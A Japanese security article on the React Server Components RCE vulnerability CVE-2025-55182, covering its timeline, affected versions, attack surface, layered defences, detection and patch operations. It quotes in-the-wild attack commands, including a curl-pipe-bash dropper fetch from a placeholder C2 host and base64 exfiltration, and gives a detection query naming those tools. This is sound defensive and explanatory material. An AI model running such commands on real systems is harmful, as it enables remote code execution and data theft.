「Server Functionを使っていないから安全」ではなかった
2025年12月3日、Reactチームは CVE-2025-55182(通称 React2Shell)を公開しました。 React Server Components(以下RSC)のFlightペイロードを処理するデコード経路に欠陥があり、 未認証の攻撃者が細工したHTTPリクエスト1発でサーバー上の任意コードを実行できる——という、 フロントエンド界隈では近年稀に見る深刻度の脆弱性です。CVSSは最高値の10.0。
そしてこの脆弱性の最も本質的な特徴は、公式の警告文に端的に表れています。
「うちはServer Actionsを使っていないから関係ない」「Form Actionsは導入していないから大丈夫」 ——こうした直感はこの脆弱性では通用しません。 本記事は、攻撃メカニズムの技術的な読み解きから、 攻撃面の棚卸し、多層防御の実装、検知、そして緊急アップデート完遂のための運用設計まで、 一次情報(React公式、Unit 42、Google GTIG、Microsoft Security Blog等)に基づいて 実務で使える粒度でまとめます。
開示までのタイムライン
開示前から侵害が始まっていた可能性を示唆する記述はありませんが、 公開直後から広範な悪用が観測されています。 まずは事実関係の時間軸を整理します。
Lachlan DavidsonがMeta Bug Bountyに報告
React Server Componentsのデコード経路の欠陥を発見し、Meta Bug Bounty経由で責任ある開示。
Reactチームが再現・確認
報告を受けて最小再現が成立。並行してNext.js等の主要フレームワークへの影響調査と修正調整が開始される。
公式ブログとCVEを同時公開
react.devで公式アドバイザリ公開。CVSS 10.0として開示。19.0.1 / 19.1.2 / 19.2.1 の修正版とNext.jsの対応版がほぼ同時にリリース。
GTIG / Unit 42 / Microsoftが広範な悪用を観測
日和見的な攻撃者から国家支援アクターまで多数のクラスタが悪用開始。XMRig, Cobalt Strike, Mirai, EtherRAT (UNC5342/DPRK関連), KSwapDoor等のペイロードが確認される。
Unit 42が技術解析アップデートを公開
野外で観測された攻撃コマンド・C2パターン・検知クエリが公開され、WAFベンダー各社が対応ルールを配信。
脆弱性のメカニズム — Flightペイロードとデシリアライズ
まずはRSCが本来どう動いているのかを最短で確認します。 RSCは「React要素ツリーをサーバーで構築し、それを RSC Payload(Flight形式)という中間表現にシリアライズして クライアントに送る」という仕組みで動きます。 クライアントはFlightペイロードをデシリアライズしてReactツリーを再構築し、 必要に応じてクライアントコンポーネントを水和します。
通常のRSCフロー
sequenceDiagram
participant B as ブラウザ
participant F as Framework<br/>(Next.js等)
participant R as react-server-dom-*
participant S as Server Components
B->>F: POST /action (Server Function呼び出し)
F->>R: リクエストボディをFlight形式でdecode
R->>R: 型ディスパッチ(参照解決・関数バインディング)
R->>S: Server Function実行 or ツリーレンダリング
S->>R: 新しいツリー
R->>F: 新しいFlight payload
F->>B: レスポンス
ポイントは、RSCは「クライアント → サーバー」方向にも
Flightフォーマットのペイロードを受け取って解釈するという点です。
Server Functionの呼び出し引数・フォームデータ・クライアントから復元される参照——
これらを逆シリアライズする処理が react-server-dom-webpack / -parcel / -turbopack
パッケージ内に実装されています。
欠陥の位置
CVE-2025-55182は、このサーバー側のFlightデコード経路における入力検証の欠落です。 React公式は技術詳細の完全公開を修正ロールアウト完了後と位置付けていますが、 現時点で公開されている範囲で言えることは以下です。
- 攻撃者はServer Functionエンドポイントに対して細工したHTTP POSTを送る
- ボディの構造がデコーダの前提を外れた形になっており、デコード処理の型ディスパッチが誤った経路に流れる
- 結果として、ペイロード中のデータがサーバー実行文脈に影響を与える状態になり、任意コード実行に至る
- テストではほぼ100%の信頼性で成立し、デフォルト設定のまま何の追加設定もなしに動作する
攻撃の解剖図
graph TB
A["攻撃者"] -->|細工したPOST<br/>Content-Type: text/x-component| B["任意のRSC対応エンドポイント"]
B --> C["react-server-dom-*<br/>Flightデコーダ"]
C -->|型ディスパッチ<br/>の欠陥| D["制御フロー奪取"]
D --> E["サーバー側<br/>Node.jsプロセスで<br/>任意コマンド実行"]
E --> F["curl | bash"]
E --> G["XMRig マイナー"]
E --> H["Cobalt Strike / RAT"]
E --> I["永続化<br/>(nohup, systemd)"]
style A fill:#dc2626,stroke:#f87171,color:#fff
style D fill:#7f1d1d,stroke:#f87171,color:#fff
style E fill:#7f1d1d,stroke:#f87171,color:#fff
Unit 42が観測している野外攻撃のコマンドチェーンは、 典型的なLinux RCEの初期挙動パターンを辿ります。
# 観測された攻撃コマンド例(Unit 42レポートより)
/bin/sh -c echo $((288*288)) # 到達性確認の calibration
/bin/sh -c $(curl -s http://<C2>:<port>/fn32.sh | bash | ...)# ドロッパ取得と即時実行
/bin/sh -c $(... | gzip -n | base64 -w0) # 結果を圧縮してC2へ送出
最初のecho $((288*288))は、攻撃者が「コード実行経路が通ったか」を
確認するためのキャリブレーションです。
この種の計算結果だけを含む小さなリクエストが複数のIPから短時間に走っている場合、
それは脆弱性の在庫スキャンが進行中である可能性が高いです。
影響範囲 — 自分のアプリは対象か
正確な影響範囲を把握することが、緊急対応の第一歩です。 以下のパッケージと範囲に該当する場合、無条件にアップデート対象です。
| パッケージ | 脆弱バージョン | 修正バージョン |
|---|---|---|
react-server-dom-webpack | 19.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1 / 19.1.2 / 19.2.1 |
react-server-dom-parcel | 19.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1 / 19.1.2 / 19.2.1 |
react-server-dom-turbopack | 19.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1 / 19.1.2 / 19.2.1 |
主要フレームワーク側の修正版
React本体をアップデートしても、フレームワーク側が古い依存を抱えたままだと実質的に修正されないケースがあります。 フレームワーク側のパッチバージョンも合わせて適用する必要があります。
| フレームワーク / パッケージ | 対応バージョン例 |
|---|---|
| Next.js 13.x / 14.x | next@14.2.35 |
| Next.js 15.0.x | next@15.0.8 |
| Next.js 16.0.x | next@16.0.11 |
| React Router | 最新版に追随 |
| Waku | 最新版に追随 |
@parcel/rsc | 最新版に追随 |
@vitejs/plugin-rsc | 最新版に追随 |
| rwsdk (Redwood SDK) | 最新版に追随 |
| Expo | expo.dev/changelog参照(React Native monorepo構成に注意) |
攻撃面の棚卸し — 自分のアプリで何が露出しているか
緊急アップデートと並行して、 「どこにRSCデコーダがマウントされているか」を棚卸ししておくと、 WAFルール設計や検知設計が現実的なサイズに収まります。 Next.js(App Router)を例に、チェックすべきポイントを整理します。
1. RSCランタイムが動いているURLパターン
App RouterでServer Componentsを使っていれば、以下のような経路が潜在的にRSCデコードを通ります。
- 全ページ経路:
GETリクエストでも?_rsc=.../RSCヘッダ付きで遷移データを取得する際、内部でデコーダを経由する - Server Actionsエンドポイント: 任意のページに対する
POSTで、Next-Actionヘッダ付きのリクエストを受け付ける - Form Actions:
<form action={someServerAction}>の送信先は一見通常のパスだが、内部では Server Function経由 - revalidatePath/revalidateTag経由: アクションからの再レンダリングトリガもFlightデコーダを通る
2. 「Server Actions未使用」でも露出する経路
よく誤解されるポイントですが、以下はすべてServer Actionsを1つも定義していなくても露出します。
// 例: Server Actionsを使っていない静的寄りのNext.jsアプリ
// app/layout.tsx
export default function Layout({ children }) {
return <html><body>{children}</body></html>;
}
// app/page.tsx
export default async function Page() {
const data = await fetch('https://api.example.com/posts').then(r => r.json());
return <PostList posts={data} />; // Server Component
}
// ↑ "use server" ディレクティブは一切なし
// ↑ Server Actionsも一切定義していない
// しかし、RSCランタイムは有効なので CVE-2025-55182 の影響を受ける RSCランタイムを無効化する公式な設定は現時点では存在しません。 「Server Componentsを使うフレームワークを選んだ時点で、デコーダは常駐している」 と理解すべきです。
3. マルチテナント構成での波及
プラットフォーム型のサービスで、テナントごとにRSC対応の子アプリを動かしている場合、 1つのサブドメインで成立するRCEが横展開するリスクを評価する必要があります。 共有のファイルシステム、共有のシークレット、共有のIAMロールの範囲を 棚卸しすることが、影響を最小化する上で重要です。
多層防御の実装
繰り返しになりますが、恒久対策はアップデートしかありません。 ここでは、アップデート完遂までの橋渡し期間と、 将来類似の脆弱性が出た場合に備えた「多層防御」の具体案を挙げます。
レイヤ1: エッジ / WAFでの初期フィルタリング
Microsoft(Azure WAF)や各種セキュリティベンダーが CVE-2025-55182 専用ルールを配信しています。 Azure WAFの場合、Managed Ruleset更新で即時適用可能です。 自前で書く場合の観点は以下です。
Content-Type: text/x-componentの異常なリクエストレート(スキャン痕跡)Next-Actionヘッダ付きのリクエストが、Server Actionsを使っていないはずの経路に届いている- Flight形式のボディ中に、
$/@プレフィックスが不自然な組み合わせで現れる - 同一IPから短時間に大量のPOSTが並ぶ「在庫スキャン」パターン
レイヤ2: アプリ層での到達制御
アプリレベルでの追加バリデーションは、今回の脆弱性そのものを塞ぐことはできませんが、 「攻撃が成立しても被害を限定する」ためには有効です。
// 例: Next.js proxy.ts (v16) / middleware.ts (v15以前)
// 不要なRSC経路を早期に拒否する
export function middleware(request: Request) {
const url = new URL(request.url);
// 1. 管理画面には外部からのRSC POSTを許可しない
if (url.pathname.startsWith('/admin')) {
const isRscAction = request.headers.get('next-action') !== null;
if (isRscAction && !isInternalRequest(request)) {
return new Response('Forbidden', { status: 403 });
}
}
// 2. Content-Type が text/x-component の場合、
// 既知のRSC経路以外では拒否する
const contentType = request.headers.get('content-type') ?? '';
if (contentType.includes('text/x-component')) {
if (!isKnownRscRoute(url.pathname)) {
logSuspicious('unknown-rsc-target', request);
return new Response('Forbidden', { status: 403 });
}
}
return undefined;
} レイヤ3: ランタイム側の権限最小化
RCEが成立したとしても、「プロセスに何ができるか」を絞れば実害を大幅に減らせます。 以下はフロントエンドチームが運用に入れておくべきランタイム側の押さえどころです。
- コンテナの非root実行:
USER nodeを Dockerfile に明記 - readOnlyRootFilesystem: 書き込み先を
/tmp等の必要最小限に限定 - egress制御: Node.jsプロセスから任意の外向きTCPを張れないよう、VPCネットワークポリシーで絞る
- IAMロールの最小化: フロントエンドのRSCサーバーから触れるAWS/GCPリソースを本当に必要な範囲だけに
- シークレットの分離: DBマスターキーのような「全件漏洩が致命的なもの」はRSCサーバーのプロセスから参照できない場所に置く
検知とインシデント対応
侵害が疑われる状況では、「既に侵入されたか」を短時間で判定することが初動の肝です。 Unit 42 / Microsoftが公開している観測パターンをベースに、 フロントエンドチームが見るべきログ項目を整理します。
見るべきシグナル
| シグナル | 観測場所 | 判定基準 |
|---|---|---|
echo $((N*N)) 系のキャリブレーションコマンド | APM / アプリログ / プロセス実行ログ | nodeプロセスから /bin/sh -c echo が出るのは異常 |
curl | bash / wget | bash の実行 | コンテナランタイム / eBPF / EDR | Webサーバー用途のプロセスでは通常発生しない |
/tmp への実行ファイル書き込み | ファイルシステム監査ログ | Node.jsアプリが/tmp に実行権限付きで書き込むのは不自然 |
| nohupによる永続化 | プロセスツリー | 親プロセスが node のまま nohup 子孫が生えたら疑う |
text/x-component の異常トラフィック | アクセスログ / WAFログ | Server Actionを使っていない経路に集中しているパターン |
| 不自然な外向き接続 | VPC Flow Logs | 未知IPへの長時間TCPセッション、定周期のビーコン |
XQL / KQL 風のクエリ例
Cortex XDRやSentinelで書くと概ね以下のような形になります。
環境に合わせて node プロセスの実パス等は調整してください。
// KQL 風の検知クエリ(概念例)
DeviceProcessEvents
| where InitiatingProcessFileName == "node"
| where FileName in~ ("sh", "bash", "curl", "wget", "gzip", "base64", "nohup")
| where ProcessCommandLine matches regex @"(echos+$((|curls+-ss+http||s*bash|base64s+-w0|nohup)"
| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessCommandLine
| order by Timestamp desc インシデント対応プレイブック
graph TB
A["検知アラート<br/>(node→lolbin)"] --> B{"影響範囲は?"}
B -->|1コンテナのみ| C["即時コンテナ隔離<br/>(スケジューラから除外)"]
B -->|複数テナント| D["全テナントRSCサーバ停止検討<br/>フェイルオーバ手順起動"]
C --> E["フォレンジックスナップショット"]
D --> E
E --> F["影響した資格情報の全ローテート<br/>(DBパスワード/APIキー/Webhook署名鍵)"]
F --> G["アップデート版のロールアウト"]
G --> H["侵害評価<br/>(漏洩データ特定)"]
H --> I["関係者通知 + 再発防止策"]継続的なセキュリティ運用 — 緊急アップデートを完遂する仕組み
ここがフロントエンドチームにとって一番本質的な論点かもしれません。 React本体の脆弱性は頻繁には出ませんが、今回のようなCVSS 10.0のゼロデイ級の開示は 今後も起こり得ます。起きてから初めて動くのではなく、 「起きたら何分で全台にパッチが行き渡るか」を常に運用として回しておく必要があります。
緊急アップデートSLAの決め方
目安として、CVSSレベルごとに以下のような二段構えのSLAを設定しておくと、 いざという時の意思決定が速くなります。
| CVSS | 初動SLA | パッチ完遂SLA | 承認経路 |
|---|---|---|---|
| 9.0〜10.0 | 1時間以内(エッジ緩和) | 24時間以内(全台再デプロイ) | オンコール判断で即時実行、事後報告 |
| 7.0〜8.9 | 4時間以内(影響調査) | 72時間以内 | CTO/セキュリティ承認 |
| 4.0〜6.9 | 翌営業日 | 1週間以内 | 通常リリースフロー |
| 〜3.9 | 翌スプリント | 翌スプリント | 通常リリースフロー |
ロールバック戦略
緊急パッチは、しばしば別の問題を引き起こします。 特に今回のようなマイナー/パッチバージョンアップでも、 Next.jsや依存ライブラリの挙動に想定外の差分が入ることがあります。 緊急アップデートのロールバック戦略は、通常リリースより厳しく設計する必要があります。
- 前バージョンのイメージを必ず残す: コンテナレジストリのretentionポリシーを緊急パッチ前後だけ伸ばす
- ロールバック基準を事前に定義: p95レイテンシ+20%、5xx率+0.5pp、特定カナリアシナリオ失敗など
- ロールバックに戻るリスクを事前評価: 「ロールバック先は脆弱」という逆説があるため、ロールバック時はWAFの緊急ルールを同時に有効化する運用をセットで用意
- 段階的ロールアウト: Vercelのrolling releases等で段階適用しつつ、異常時は瞬間戻しの経路を用意
依存ツリーの継続監視
今回のCVEはReact本体ではなく react-server-dom-* という少し奥の依存に存在しました。
直接dependencyに書いていないパッケージも常時監視対象にしておく必要があります。
npm auditだけでは足りない。GitHub Dependabot / Snyk / Socket等の継続スキャンを併用- transitive dependencyのlockfile監査:
pnpm why react-server-dom-webpackのようなコマンドを定期実行し、想定外のバージョン固定がないか確認 - フレームワークのセキュリティアドバイザリのSlack通知: Next.js, React, Expo等のGitHub Security Advisoriesを即時にSlackに流す仕組みは必須
まとめ — フロントエンドに「デシリアライズRCE」が戻ってきた
フロントエンドエンジニアにとって、デシリアライズRCEは 長らく「バックエンド側の話」でした。 Java/Rubyの世界で繰り返されてきた攻撃パターンが、 RSCというアーキテクチャの登場によってフロントエンドの領域に戻ってきた ——というのがCVE-2025-55182の本質的な意味です。振り返ります:
- CVE-2025-55182(React2Shell): 2025-12-03公開、CVSS 10.0の未認証RCE。RSCのFlightペイロードデコードの欠陥
- 影響パッケージ:
react-server-dom-webpack/-parcel/-turbopackの 19.0〜19.2.0。修正は 19.0.1 / 19.1.2 / 19.2.1 - Server Functionを使っていなくても対象: RSCランタイムを有効化した時点でデコーダは常駐している
- 恒久対策はアップデートのみ: React本体とフレームワーク両方をパッチバージョンへ
- 多層防御はWAF / アプリ層 / ランタイム権限: あくまでアップデート完遂までの橋渡しと位置付ける
- 検知はnode→lolbin遷移で見る:
nodeプロセスからsh/curl/wget/base64/nohupが呼ばれたら異常 - CVSS 10.0級は事前合意で「事後報告OK」: 初動SLAを1時間以内に設計し、資格情報は疑いの段階で先にローテート
RSCは間違いなく強力なアーキテクチャで、 サーバーとクライアントの境界を柔軟に扱える利点は本物です。 しかしその「境界の柔軟さ」そのものが、新しい攻撃面を作っているという事実は、 フロントエンドチーム全体で共有しておくべき前提になりました。 便利さの裏側を正しく設計で受け止めることが、堅牢なフロントエンド基盤の条件です。
理解度チェック
CVE-2025-55182について正しい記述はどれですか?
キーボード: 1〜4 で選択、Enter で回答